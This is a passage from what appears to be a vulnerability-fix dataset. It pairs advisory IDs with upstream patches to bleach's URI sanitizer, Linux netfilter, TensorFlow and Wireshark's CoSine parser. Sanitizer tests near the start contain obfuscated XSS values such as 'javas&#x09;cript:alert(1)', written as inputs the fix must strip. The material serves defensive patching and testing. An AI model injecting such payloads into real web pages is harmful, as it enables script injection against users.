+        '<a href="192.168.100.100">valid</a>'
+    ),
+    (
+        '<a href="192.168.100.100:8000">valid</a>',
+        {'protocols': ['http']},
+        '<a href="192.168.100.100:8000">valid</a>'
+    ),
+
+    # Disallow implicit http if disallowed
+    (
+        '<a href="example.com">foo</a>',
+        {'protocols': []},
+        '<a>foo</a>'
+    ),
+    (
+        '<a href="example.com:8000">foo</a>',
+        {'protocols': []},
+        '<a>foo</a>'
+    ),
+    (
+        '<a href="localhost">foo</a>',
+        {'protocols': []},
+        '<a>foo</a>'
+    ),
+    (
+        '<a href="localhost:8000">foo</a>',
+        {'protocols': []},
+        '<a>foo</a>'
+    ),
+    (
+        '<a href="192.168.100.100">foo</a>',
+        {'protocols': []},
+        '<a>foo</a>'
+    ),
+    (
+        '<a href="192.168.100.100:8000">foo</a>',
+        {'protocols': []},
+        '<a>foo</a>'
+    ),
+
+    # Disallowed protocols with sneaky character entities
+    (
+        '<a href="javas&#x09;cript:alert(1)">alert</a>',
+        {},
+        '<a>alert</a>'
+    ),
+    (
+        '<a href="&#14;javascript:alert(1)">alert</a>',
+        {},
+        '<a>alert</a>'
+    ),
+
+    # Checking the uri should change it at all
+    (
+        '<a href="http://example.com/?foo&nbsp;bar">foo</a>',
+        {},
+        '<a href="http://example.com/?foo&nbsp;bar">foo</a>'
+    ),
 ])
 def test_uri_value_allowed_protocols(data, kwargs, expected):
     assert clean(data, **kwargs) == expected

From 61bf0e6db3bdce6294633555e08dd061af465c3c Mon Sep 17 00:00:00 2001
From: Will Kahn-Greene <willkg@mozilla.com>
Date: Mon, 5 Mar 2018 16:08:49 -0500
Subject: [PATCH 2/2] Fix errant comment

---
 bleach/sanitizer.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bleach/sanitizer.py b/bleach/sanitizer.py
index ac6a55cb..56f6d960 100644
--- a/bleach/sanitizer.py
+++ b/bleach/sanitizer.py
@@ -556,7 +556,7 @@ def sanitize_uri_value(self, value, allowed_protocols):
         # Convert all character entities in the value
         new_value = convert_entities(value)
 
-        # Nix single quote, whitespace, and non-printable charcters
+        # Nix backtick, space characters, and control characters
         new_value = re.sub(
             "[`\000-\040\177-\240\s]+",
             '',", "url": "https://github.com/mozilla/bleach/commit/c5df5789ec3471a31311f42c2d19fc2cf21b35ef.patch" } ]
null
GHSA-cvp9-xf77-46mc
null
[ { "commit_message": "[PATCH] netfilter: add back stackpointer size checks The rationale for removing the check is only correct for rulesets generated by ip(6)tables. In iptables, a jump can only occur to a user-defined chain, i.e. because we size the stack based on number of user-defined chains we cannot exceed stack size. However, the underlying binary format has no such restriction, and the validation step only ensures that the jump target is a valid rule start point. IOW, its possible to build a rule blob that has no user-defined chains but does contain a jump. If this happens, no jump stack gets allocated and crash occurs because no jumpstack was allocated. Fixes: 7814b6ec6d0d6 (\"netfilter: xtables: don't save/restore jumpstack offset\") Reported-by: syzbot+e783f671527912cd9403@syzkaller.appspotmail.com Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> net/ipv4/netfilter/arp_tables.c | 4 ++++ net/ipv4/netfilter/ip_tables.c | 7 ++++++- net/ipv6/netfilter/ip6_tables.c | 4 ++++ 3 files changed, 14 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA1N2ViZDgwOGE5N2Q3YzViMWUxYWZiOTM3YzJkYjIyYmViYTNjMWY4IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBGbG9yaWFuIFdlc3RwaGFsIDxmd0BzdHJsZW4uZGU+CkRhdGU6IFdlZCwgNyBGZWIgMjAxOCAxMzo0NjoyNSArMDEwMApTdWJqZWN0OiBbUEFUQ0hdIG5ldGZpbHRlcjogYWRkIGJhY2sgc3RhY2twb2ludGVyIHNpemUgY2hlY2tzCgpUaGUgcmF0aW9uYWxlIGZvciByZW1vdmluZyB0aGUgY2hlY2sgaXMgb25seSBjb3JyZWN0IGZvciBydWxlc2V0cwpnZW5lcmF0ZWQgYnkgaXAoNil0YWJsZXMuCgpJbiBpcHRhYmxlcywgYSBqdW1wIGNhbiBvbmx5IG9jY3VyIHRvIGEgdXNlci1kZWZpbmVkIGNoYWluLCBpLmUuCmJlY2F1c2Ugd2Ugc2l6ZSB0aGUgc3RhY2sgYmFzZWQgb24gbnVtYmVyIG9mIHVzZXItZGVmaW5lZCBjaGFpbnMgd2UKY2Fubm90IGV4Y2VlZCBzdGFjayBzaXplLgoKSG93ZXZlciwgdGhlIHVuZGVybHlpbmcgYmluYXJ5IGZvcm1hdCBoYXMgbm8gc3VjaCByZXN0cmljdGlvbiwKYW5kIHRoZSB2YWxpZGF0aW9uIHN0ZXAgb25seSBlbnN1cmVzIHRoYXQgdGhlIGp1bXAgdGFyZ2V0IGlzIGEKdmFsaWQgcnVsZSBzdGFydCBwb2ludC4KCklPVywgaXRzIHBvc3NpYmxlIHRvIGJ1aWxkIGEgcnVsZSBibG9iIHRoYXQgaGFzIG5vIHVzZXItZGVmaW5lZApjaGFpbnMgYnV0IGRvZXMgY29udGFpbiBhIGp1bXAuCgpJZiB0aGlzIGhhcHBlbnMsIG5vIGp1bXAgc3RhY2sgZ2V0cyBhbGxvY2F0ZWQgYW5kIGNyYXNoIG9jY3VycwpiZWNhdXNlIG5vIGp1bXBzdGFjayB3YXMgYWxsb2NhdGVkLgoKRml4ZXM6IDc4MTRiNmVjNmQwZDYgKCJuZXRmaWx0ZXI6IHh0YWJsZXM6IGRvbid0IHNhdmUvcmVzdG9yZSBqdW1wc3RhY2sgb2Zmc2V0IikKUmVwb3J0ZWQtYnk6IHN5emJvdCtlNzgzZjY3MTUyNzkxMmNkOTQwM0BzeXprYWxsZXIuYXBwc3BvdG1haWwuY29tClNpZ25lZC1vZmYtYnk6IEZsb3JpYW4gV2VzdHBoYWwgPGZ3QHN0cmxlbi5kZT4KU2lnbmVkLW9mZi1ieTogUGFibG8gTmVpcmEgQXl1c28gPHBhYmxvQG5ldGZpbHRlci5vcmc+Ci0tLQogbmV0L2lwdjQvbmV0ZmlsdGVyL2FycF90YWJsZXMuYyB8IDQgKysrKwogbmV0L2lwdjQvbmV0ZmlsdGVyL2lwX3RhYmxlcy5jICB8IDcgKysrKysrLQogbmV0L2lwdjYvbmV0ZmlsdGVyL2lwNl90YWJsZXMuYyB8IDQgKysrKwogMyBmaWxlcyBjaGFuZ2VkLCAxNCBpbnNlcnRpb25zKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvbmV0L2lwdjQvbmV0ZmlsdGVyL2FycF90YWJsZXMuYyBiL25ldC9pcHY0L25ldGZpbHRlci9hcnBfdGFibGVzLmMKaW5kZXggNGZmZTMwMmY5YjgyMDAuLmUzZTQyMGYzYmE3YjJkIDEwMDY0NAotLS0gYS9uZXQvaXB2NC9uZXRmaWx0ZXIvYXJwX3RhYmxlcy5jCisrKyBiL25ldC9pcHY0L25ldGZpbHRlci9hcnBfdGFibGVzLmMKQEAgLTI1Miw2ICsyNTIsMTAgQEAgdW5zaWduZWQgaW50IGFycHRfZG9fdGFibGUoc3RydWN0IHNrX2J1ZmYgKnNrYiwKIAkJCX0KIAkJCWlmICh0YWJsZV9iYXNlICsgdgogCQkJICAgICE9IGFycHRfbmV4dF9lbnRyeShlKSkgeworCQkJCWlmICh1bmxpa2VseShzdGFja2lkeCA+PSBwcml2YXRlLT5zdGFja3NpemUpKSB7CisJCQkJCXZlcmRpY3QgPSBORl9EUk9QOworCQkJCQlicmVhazsKKwkJCQl9CiAJCQkJanVtcHN0YWNrW3N0YWNraWR4KytdID0gZTsKIAkJCX0KIApkaWZmIC0tZ2l0IGEvbmV0L2lwdjQvbmV0ZmlsdGVyL2lwX3RhYmxlcy5jIGIvbmV0L2lwdjQvbmV0ZmlsdGVyL2lwX3RhYmxlcy5jCmluZGV4IDlhNzFmMzE0OTUwNzA2Li5lMzgzOTVhOGRjZjI4MCAxMDA2NDQKLS0tIGEvbmV0L2lwdjQvbmV0ZmlsdGVyL2lwX3RhYmxlcy5jCisrKyBiL25ldC9pcHY0L25ldGZpbHRlci9pcF90YWJsZXMuYwpAQCAtMzMwLDggKzMzMCwxMyBAQCBpcHRfZG9fdGFibGUoc3RydWN0IHNrX2J1ZmYgKnNrYiwKIAkJCQljb250aW51ZTsKIAkJCX0KIAkJCWlmICh0YWJsZV9iYXNlICsgdiAhPSBpcHRfbmV4dF9lbnRyeShlKSAmJgotCQkJICAgICEoZS0+aXAuZmxhZ3MgJiBJUFRfRl9HT1RPKSkKKwkJCSAgICAhKGUtPmlwLmZsYWdzICYgSVBUX0ZfR09UTykpIHsKKwkJCQlpZiAodW5saWtlbHkoc3RhY2tpZHggPj0gcHJpdmF0ZS0+c3RhY2tzaXplKSkgeworCQkJCQl2ZXJkaWN0ID0gTkZfRFJPUDsKKwkJCQkJYnJlYWs7CisJCQkJfQogCQkJCWp1bXBzdGFja1tzdGFja2lkeCsrXSA9IGU7CisJCQl9CiAKIAkJCWUgPSBnZXRfZW50cnkodGFibGVfYmFzZSwgdik7CiAJCQljb250aW51ZTsKZGlmZiAtLWdpdCBhL25ldC9pcHY2L25ldGZpbHRlci9pcDZfdGFibGVzLmMgYi9uZXQvaXB2Ni9uZXRmaWx0ZXIvaXA2X3RhYmxlcy5jCmluZGV4IGFmNGM5MTdlMDgzNjk2Li42MjM1OGI5M2JiYWM1MiAxMDA2NDQKLS0tIGEvbmV0L2lwdjYvbmV0ZmlsdGVyL2lwNl90YWJsZXMuYworKysgYi9uZXQvaXB2Ni9uZXRmaWx0ZXIvaXA2X3RhYmxlcy5jCkBAIC0zNTIsNiArMzUyLDEwIEBAIGlwNnRfZG9fdGFibGUoc3RydWN0IHNrX2J1ZmYgKnNrYiwKIAkJCX0KIAkJCWlmICh0YWJsZV9iYXNlICsgdiAhPSBpcDZ0X25leHRfZW50cnkoZSkgJiYKIAkJCSAgICAhKGUtPmlwdjYuZmxhZ3MgJiBJUDZUX0ZfR09UTykpIHsKKwkJCQlpZiAodW5saWtlbHkoc3RhY2tpZHggPj0gcHJpdmF0ZS0+c3RhY2tzaXplKSkgeworCQkJCQl2ZXJkaWN0ID0gTkZfRFJPUDsKKwkJCQkJYnJlYWs7CisJCQkJfQogCQkJCWp1bXBzdGFja1tzdGFja2lkeCsrXSA9IGU7CiAJCQl9", "url": "https://github.com/torvalds/linux/commit/57ebd808a97d7c5b1e1afb937c2db22beba3c1f8.patch" } ]
null
PYSEC-2021-155
null
[ { "commit_message": "[PATCH] Fix `tf.raw_ops.GetSessionTensor` and `tf.raw_ops.DeleteSessionTensor` null pointer dereferences. PiperOrigin-RevId: 368294154 Change-Id: Ie10f07a0a9a1c2b685e08153d48a0ca4b93f9fc9 tensorflow/core/kernels/session_ops.cc | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-)", "patch_text_b64": "RnJvbSBmZjcwYzQ3YTM5NmVmMWUzY2I3M2M5MDUxM2RhNGY1Y2I3MWJlYmJhIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBBbWl0IFBhdGFua2FyIDxhbWl0cGF0YW5rYXJAZ29vZ2xlLmNvbT4KRGF0ZTogVHVlLCAxMyBBcHIgMjAyMSAxNDoyNDowMCAtMDcwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCBgdGYucmF3X29wcy5HZXRTZXNzaW9uVGVuc29yYCBhbmQKIGB0Zi5yYXdfb3BzLkRlbGV0ZVNlc3Npb25UZW5zb3JgIG51bGwgcG9pbnRlciBkZXJlZmVyZW5jZXMuCgpQaXBlck9yaWdpbi1SZXZJZDogMzY4Mjk0MTU0CkNoYW5nZS1JZDogSWUxMGYwN2EwYTlhMWMyYjY4NWUwODE1M2Q0OGEwY2E0YjkzZjlmYzkKLS0tCiB0ZW5zb3JmbG93L2NvcmUva2VybmVscy9zZXNzaW9uX29wcy5jYyB8IDE0ICsrKysrKysrKystLS0tCiAxIGZpbGUgY2hhbmdlZCwgMTAgaW5zZXJ0aW9ucygrKSwgNCBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS90ZW5zb3JmbG93L2NvcmUva2VybmVscy9zZXNzaW9uX29wcy5jYyBiL3RlbnNvcmZsb3cvY29yZS9rZXJuZWxzL3Nlc3Npb25fb3BzLmNjCmluZGV4IGVlODFhZDI3NjMyNjIyLi4xMDlhY2M1NTcyMmNjYiAxMDA2NDQKLS0tIGEvdGVuc29yZmxvdy9jb3JlL2tlcm5lbHMvc2Vzc2lvbl9vcHMuY2MKKysrIGIvdGVuc29yZmxvdy9jb3JlL2tlcm5lbHMvc2Vzc2lvbl9vcHMuY2MKQEAgLTkxLDcgKzkxLDYgQEAgVEZfQ0FMTF9OVU1CRVJfVFlQRVMoUkVHSVNURVJfR1BVX0tFUk5FTCk7CiBSRUdJU1RFUl9HUFVfS0VSTkVMKGJvb2wpOwogI3VuZGVmIFJFR0lTVEVSX0dQVV9LRVJORUwKIAotCiBjbGFzcyBHZXRTZXNzaW9uVGVuc29yT3AgOiBwdWJsaWMgT3BLZXJuZWwgewogIHB1YmxpYzoKICAgZXhwbGljaXQgR2V0U2Vzc2lvblRlbnNvck9wKE9wS2VybmVsQ29uc3RydWN0aW9uKiBjb250ZXh0KQpAQCAtMTAxLDcgKzEwMCwxMSBAQCBjbGFzcyBHZXRTZXNzaW9uVGVuc29yT3AgOiBwdWJsaWMgT3BLZXJuZWwgewogICAgIGNvbnN0IFRlbnNvciYgaGFuZGxlID0gY3R4LT5pbnB1dCgwKTsKICAgICBjb25zdCBzdHJpbmcmIG5hbWUgPSBoYW5kbGUuc2NhbGFyPHRzdHJpbmc+KCkoKTsKICAgICBUZW5zb3IgdmFsOwotICAgIE9QX1JFUVVJUkVTX09LKGN0eCwgY3R4LT5zZXNzaW9uX3N0YXRlKCktPkdldFRlbnNvcihuYW1lLCAmdmFsKSk7CisgICAgYXV0byBzZXNzaW9uX3N0YXRlID0gY3R4LT5zZXNzaW9uX3N0YXRlKCk7CisgICAgT1BfUkVRVUlSRVMoY3R4LCBzZXNzaW9uX3N0YXRlICE9IG51bGxwdHIsCisgICAgICAgICAgICAgICAgZXJyb3JzOjpGYWlsZWRQcmVjb25kaXRpb24oCisgICAgICAgICAgICAgICAgICAgICJHZXRTZXNzaW9uVGVuc29yIGNhbGxlZCBvbiBudWxsIHNlc3Npb24gc3RhdGUiKSk7CisgICAgT1BfUkVRVUlSRVNfT0soY3R4LCBzZXNzaW9uX3N0YXRlLT5HZXRUZW5zb3IobmFtZSwgJnZhbCkpOwogICAgIGN0eC0+c2V0X291dHB1dCgwLCB2YWwpOwogICB9CiAKQEAgLTEyMiw3ICsxMjUsNiBAQCBURl9DQUxMX05VTUJFUl9UWVBFUyhSRUdJU1RFUl9HUFVfS0VSTkVMKTsKIFJFR0lTVEVSX0dQVV9LRVJORUwoYm9vbCk7CiAjdW5kZWYgUkVHSVNURVJfR1BVX0tFUk5FTAogCi0KIGNsYXNzIERlbGV0ZVNlc3Npb25UZW5zb3JPcCA6IHB1YmxpYyBPcEtlcm5lbCB7CiAgcHVibGljOgogICBleHBsaWNpdCBEZWxldGVTZXNzaW9uVGVuc29yT3AoT3BLZXJuZWxDb25zdHJ1Y3Rpb24qIGNvbnRleHQpCkBAIC0xMzEsNyArMTMzLDExIEBAIGNsYXNzIERlbGV0ZVNlc3Npb25UZW5zb3JPcCA6IHB1YmxpYyBPcEtlcm5lbCB7CiAgIHZvaWQgQ29tcHV0ZShPcEtlcm5lbENvbnRleHQqIGN0eCkgb3ZlcnJpZGUgewogICAgIGNvbnN0IFRlbnNvciYgaGFuZGxlID0gY3R4LT5pbnB1dCgwKTsKICAgICBjb25zdCBzdHJpbmcmIG5hbWUgPSBoYW5kbGUuc2NhbGFyPHRzdHJpbmc+KCkoKTsKLSAgICBPUF9SRVFVSVJFU19PSyhjdHgsIGN0eC0+c2Vzc2lvbl9zdGF0ZSgpLT5EZWxldGVUZW5zb3IobmFtZSkpOworICAgIGF1dG8gc2Vzc2lvbl9zdGF0ZSA9IGN0eC0+c2Vzc2lvbl9zdGF0ZSgpOworICAgIE9QX1JFUVVJUkVTKGN0eCwgc2Vzc2lvbl9zdGF0ZSAhPSBudWxscHRyLAorICAgICAgICAgICAgICAgIGVycm9yczo6RmFpbGVkUHJlY29uZGl0aW9uKAorICAgICAgICAgICAgICAgICAgICAiRGVsZXRlU2Vzc2lvblRlbnNvciBjYWxsZWQgb24gbnVsbCBzZXNzaW9uIHN0YXRlIikpOworICAgIE9QX1JFUVVJUkVTX09LKGN0eCwgc2Vzc2lvbl9zdGF0ZS0+RGVsZXRlVGVuc29yKG5hbWUpKTsKICAgfQogCiAgIFRGX0RJU0FMTE9XX0NPUFlfQU5EX0FTU0lHTihEZWxldGVTZXNzaW9uVGVuc29yT3ApOw==", "url": "https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba.patch" } ]
null
CVE-2016-5356
wiretap/cosine.c in the CoSine file parser in Wireshark 1.12.x before 1.12.12 and 2.x before 2.0.4 mishandles sscanf unsigned-integer processing, which allows remote attackers to cause a denial of service (application crash) via a crafted file.
[ { "commit_message": "[PATCH] Fix packet length handling. Treat the packet length as unsigned - it shouldn't be negative in the file. If it is, that'll probably cause the sscanf to fail, so we'll report the file as bad. Check it against WTAP_MAX_PACKET_SIZE to make sure we don't try to allocate a huge amount of memory, just as we do in other file readers. Use the now-validated packet size as the length in ws_buffer_assure_space(), so we are certain to have enough space, and don't allocate too much space. Merge the header and packet data parsing routines while we're at it. Bug: 12395 Change-Id: Ia70f33b71ff28451190fcf144c333fd1362646b2 Reviewed-on: https://code.wireshark.org/review/15172 Reviewed-by: Guy Harris <guy@alum.mit.edu> wiretap/cosine.c | 75 +++++++++++++++++++----------------------------- 1 file changed, 29 insertions(+), 46 deletions(-)", "patch_text_b64": "From f5ec0afb766f19519ea9623152cca3bbe2229500 Mon Sep 17 00:00:00 2001
From: Guy Harris <guy@alum.mit.edu>
Date: Fri, 29 Apr 2016 15:46:58 -0700
Subject: [PATCH] Fix packet length handling.

Treat the packet length as unsigned - it shouldn't be negative in the
file.  If it is, that'll probably cause the sscanf to fail, so we'll
report the file as bad.

Check it against WTAP_MAX_PACKET_SIZE to make sure we don't try to
allocate a huge amount of memory, just as we do in other file readers.

Use the now-validated packet size as the length in
ws_buffer_assure_space(), so we are certain to have enough space, and
don't allocate too much space.

Merge the header and packet data parsing routines while we're at it.

Bug: 12395
Change-Id: Ia70f33b71ff28451190fcf144c333fd1362646b2
Reviewed-on: https://code.wireshark.org/review/15172
Reviewed-by: Guy Harris <guy@alum.mit.edu>
---
 wiretap/cosine.c | 75 +++++++++++++++++++-----------------------------
 1 file changed, 29 insertions(+), 46 deletions(-)

diff --git a/wiretap/cosine.c b/wiretap/cosine.c
index 5163cb4eef2..5d48b912e83 100644
--- a/wiretap/cosine.c
+++ b/wiretap/cosine.c
@@ -157,8 +157,6 @@
 #define COSINE_HEADER_LINES_TO_CHECK	200
 #define COSINE_LINE_LENGTH		240
 
-#define COSINE_MAX_PACKET_LEN	65536
-
 static gboolean empty_line(const gchar *line);
 static gint64 cosine_seek_next_packet(wtap *wth, int *err, gchar **err_info,
 	char *hdr);
@@ -167,10 +165,8 @@ static gboolean cosine_read(wtap *wth, int *err, gchar **err_info,
 	gint64 *data_offset);
 static gboolean cosine_seek_read(wtap *wth, gint64 seek_off,
 	struct wtap_pkthdr *phdr, Buffer *buf, int *err, gchar **err_info);
-static int parse_cosine_rec_hdr(struct wtap_pkthdr *phdr, const char *line,
-	int *err, gchar **err_info);
-static gboolean parse_cosine_hex_dump(FILE_T fh, struct wtap_pkthdr *phdr,
-	int pkt_len, Buffer* buf, int *err, gchar **err_info);
+static int parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer* buf,
+	char *line, int *err, gchar **err_info);
 static int parse_single_hex_dump_line(char* rec, guint8 *buf,
 	guint byte_offset);
 
@@ -287,7 +283,6 @@ static gboolean cosine_read(wtap *wth, int *err, gchar **err_info,
     gint64 *data_offset)
 {
 	gint64	offset;
-	int	pkt_len;
 	char	line[COSINE_LINE_LENGTH];
 
 	/* Find the next packet */
@@ -296,14 +291,9 @@ static gboolean cosine_read(wtap *wth, int *err, gchar **err_info,
 		return FALSE;
 	*data_offset = offset;
 
-	/* Parse the header */
-	pkt_len = parse_cosine_rec_hdr(&wth->phdr, line, err, err_info);
-	if (pkt_len == -1)
-		return FALSE;
-
-	/* Convert the ASCII hex dump to binary data */
-	return parse_cosine_hex_dump(wth->fh, &wth->phdr, pkt_len,
-	    wth->frame_buffer, err, err_info);
+	/* Parse the header and convert the ASCII hex dump to binary data */
+	return parse_cosine_packet(wth->fh, &wth->phdr, wth->frame_buffer,
+	    line, err, err_info);
 }
 
 /* Used to read packets in random-access fashion */
@@ -311,7 +301,6 @@ static gboolean
 cosine_seek_read(wtap *wth, gint64 seek_off, struct wtap_pkthdr *phdr,
 	Buffer *buf, int *err, gchar **err_info)
 {
-	int	pkt_len;
 	char	line[COSINE_LINE_LENGTH];
 
 	if (file_seek(wth->random_fh, seek_off, SEEK_SET, err) == -1)
@@ -325,13 +314,8 @@ cosine_seek_read(wtap *wth, gint64 seek_off, struct wtap_pkthdr *phdr,
 		return FALSE;
 	}
 
-	/* Parse the header */
-	pkt_len = parse_cosine_rec_hdr(phdr, line, err, err_info);
-	if (pkt_len == -1)
-		return FALSE;
-
-	/* Convert the ASCII hex dump to binary data */
-	return parse_cosine_hex_dump(wth->random_fh, phdr, pkt_len, buf, err,
+	/* Parse the header and convert the ASCII hex dump to binary data */
+	return parse_cosine_packet(wth->random_fh, phdr, buf, line, err,
 	    err_info);
 }
 
@@ -340,23 +324,26 @@ cosine_seek_read(wtap *wth, gint64 seek_off, struct wtap_pkthdr *phdr,
         2002-5-10,20:1:31.4:  l2-tx (FR:3/7/1:1), Length:18, Pro:0, Off:0, Pri:0, RM:0, Err:0 [0x4000, 0x0]
     2) output to PE without date and time
         l2-tx (FR:3/7/1:1), Length:18, Pro:0, Off:0, Pri:0, RM:0, Err:0 [0x4000, 0x0] */
-static int
-parse_cosine_rec_hdr(struct wtap_pkthdr *phdr, const char *line,
-     int *err, gchar **err_info)
+static gboolean
+parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,
+    char *line, int *err, gchar **err_info)
 {
 	union wtap_pseudo_header *pseudo_header = &phdr->pseudo_header;
 	int	num_items_scanned;
-	int	yy, mm, dd, hr, min, sec, csec, pkt_len;
+	int	yy, mm, dd, hr, min, sec, csec;
+	guint	pkt_len;
 	int	pro, off, pri, rm, error;
 	guint	code1, code2;
 	char	if_name[COSINE_MAX_IF_NAME_LEN] = "", direction[6] = "";
 	struct	tm tm;
+	guint8 *pd;
+	int	i, hex_lines, n, caplen = 0;
 
 	if (sscanf(line, "%4d-%2d-%2d,%2d:%2d:%2d.%9d:",
 		   &yy, &mm, &dd, &hr, &min, &sec, &csec) == 7) {
 		/* appears to be output to a control blade */
 		num_items_scanned = sscanf(line,
-		   "%4d-%2d-%2d,%2d:%2d:%2d.%9d: %5s (%127[A-Za-z0-9/:]), Length:%9d, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]",
+		   "%4d-%2d-%2d,%2d:%2d:%2d.%9d: %5s (%127[A-Za-z0-9/:]), Length:%9u, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]",
 			&yy, &mm, &dd, &hr, &min, &sec, &csec,
 				   direction, if_name, &pkt_len,
 				   &pro, &off, &pri, &rm, &error,
@@ -365,12 +352,12 @@ parse_cosine_rec_hdr(struct wtap_pkthdr *phdr, const char *line,
 		if (num_items_scanned != 17) {
 			*err = WTAP_ERR_BAD_FILE;
 			*err_info = g_strdup("cosine: purported control blade line doesn't have code values");
-			return -1;
+			return FALSE;
 		}
 	} else {
 		/* appears to be output to PE */
 		num_items_scanned = sscanf(line,
-		   "%5s (%127[A-Za-z0-9/:]), Length:%9d, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]",
+		   "%5s (%127[A-Za-z0-9/:]), Length:%9u, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]",
 				   direction, if_name, &pkt_len,
 				   &pro, &off, &pri, &rm, &error,
 				   &code1, &code2);
@@ -378,10 +365,20 @@ parse_cosine_rec_hdr(struct wtap_pkthdr *phdr, const char *line,
 		if (num_items_scanned != 10) {
 			*err = WTAP_ERR_BAD_FILE;
 			*err_info = g_strdup("cosine: header line is neither control blade nor PE output");
-			return -1;
+			return FALSE;
 		}
 		yy = mm = dd = hr = min = sec = csec = 0;
 	}
+	if (pkt_len > WTAP_MAX_PACKET_SIZE) {
+		/*
+		 * Probably a corrupt capture file; don't blow up trying
+		 * to allocate space for an immensely-large packet.
+		 */
+		*err = WTAP_ERR_BAD_FILE;
+		*err_info = g_strdup_printf("cosine: File has %u-byte packet, bigger than maximum of %u",
+		    pkt_len, WTAP_MAX_PACKET_SIZE);
+		return FALSE;
+	}
 
 	phdr->rec_type = REC_TYPE_PACKET;
 	phdr->presence_flags = WTAP_HAS_TS|WTAP_HAS_CAP_LEN;
@@ -430,21 +427,8 @@ parse_cosine_rec_hdr(struct wtap_pkthdr *phdr, const char *line,
 	pseudo_header->cosine.rm = rm;
 	pseudo_header->cosine.err = error;
 
-	return pkt_len;
-}
-
-/* Converts ASCII hex dump to binary data. Returns TRUE on success,
-   FALSE if any error is encountered. */
-static gboolean
-parse_cosine_hex_dump(FILE_T fh, struct wtap_pkthdr *phdr, int pkt_len,
-    Buffer* buf, int *err, gchar **err_info)
-{
-	guint8 *pd;
-	gchar	line[COSINE_LINE_LENGTH];
-	int	i, hex_lines, n, caplen = 0;
-
 	/* Make sure we have enough room for the packet */
-	ws_buffer_assure_space(buf, COSINE_MAX_PACKET_LEN);
+	ws_buffer_assure_space(buf, pkt_len);
 	pd = ws_buffer_start_ptr(buf);
 
 	/* Calculate the number of hex dump lines, each
@@ -473,7 +457,6 @@ parse_cosine_hex_dump(FILE_T fh, struct wtap_pkthdr *phdr, int pkt_len,
 	return TRUE;
 }
 
-
 /* Take a string representing one line from a hex dump and converts
  * the text to binary data. We place the bytes in the buffer at the
  * specified offset.", "url": "https://github.com/wireshark/wireshark/commit/f5ec0afb766f19519ea9623152cca3bbe2229500.patch" }, { "commit_message": "[PATCH] Don't treat the packet length as unsigned. The scanf family of functions are as annoyingly bad at handling unsigned numbers as strtoul() is - both of them are perfectly willing to accept a value beginning with a negative sign as an unsigned value. When using strtoul(), you can compensate for this by explicitly checking for a '-' as the first character of the string, but you can't do that with sscanf(). So revert to having pkt_len be signed, and scanning it with %d, but check for a negative value and fail if we see a negative value. Bug: 12395 Change-Id: I43b458a73b0934e9a5c2c89d34eac5a8f21a7455 Reviewed-on: https://code.wireshark.org/review/15223 Reviewed-by: Guy Harris <guy@alum.mit.edu> wiretap/cosine.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-)", "patch_text_b64": "RnJvbSBhNjY2MjhlNDI1ZGI3MjVkZjFhYzUyYTNjNTczYTAzMzU3MDYwZGRkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBHdXkgSGFycmlzIDxndXlAYWx1bS5taXQuZWR1PgpEYXRlOiBTdW4sIDEgTWF5IDIwMTYgMTY6MjI6NDAgLTA3MDAKU3ViamVjdDogW1BBVENIXSBEb24ndCB0cmVhdCB0aGUgcGFja2V0IGxlbmd0aCBhcyB1bnNpZ25lZC4KClRoZSBzY2FuZiBmYW1pbHkgb2YgZnVuY3Rpb25zIGFyZSBhcyBhbm5veWluZ2x5IGJhZCBhdCBoYW5kbGluZyB1bnNpZ25lZApudW1iZXJzIGFzIHN0cnRvdWwoKSBpcyAtIGJvdGggb2YgdGhlbSBhcmUgcGVyZmVjdGx5IHdpbGxpbmcgdG8gYWNjZXB0IGEKdmFsdWUgYmVnaW5uaW5nIHdpdGggYSBuZWdhdGl2ZSBzaWduIGFzIGFuIHVuc2lnbmVkIHZhbHVlLiAgV2hlbiB1c2luZwpzdHJ0b3VsKCksIHlvdSBjYW4gY29tcGVuc2F0ZSBmb3IgdGhpcyBieSBleHBsaWNpdGx5IGNoZWNraW5nIGZvciBhICctJwphcyB0aGUgZmlyc3QgY2hhcmFjdGVyIG9mIHRoZSBzdHJpbmcsIGJ1dCB5b3UgY2FuJ3QgZG8gdGhhdCB3aXRoCnNzY2FuZigpLgoKU28gcmV2ZXJ0IHRvIGhhdmluZyBwa3RfbGVuIGJlIHNpZ25lZCwgYW5kIHNjYW5uaW5nIGl0IHdpdGggJWQsIGJ1dApjaGVjayBmb3IgYSBuZWdhdGl2ZSB2YWx1ZSBhbmQgZmFpbCBpZiB3ZSBzZWUgYSBuZWdhdGl2ZSB2YWx1ZS4KCkJ1ZzogMTIzOTUKQ2hhbmdlLUlkOiBJNDNiNDU4YTczYjA5MzRlOWE1YzJjODlkMzRlYWM1YThmMjFhNzQ1NQpSZXZpZXdlZC1vbjogaHR0cHM6Ly9jb2RlLndpcmVzaGFyay5vcmcvcmV2aWV3LzE1MjIzClJldmlld2VkLWJ5OiBHdXkgSGFycmlzIDxndXlAYWx1bS5taXQuZWR1PgotLS0KIHdpcmV0YXAvY29zaW5lLmMgfCAxMiArKysrKysrKy0tLS0KIDEgZmlsZSBjaGFuZ2VkLCA4IGluc2VydGlvbnMoKyksIDQgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvd2lyZXRhcC9jb3NpbmUuYyBiL3dp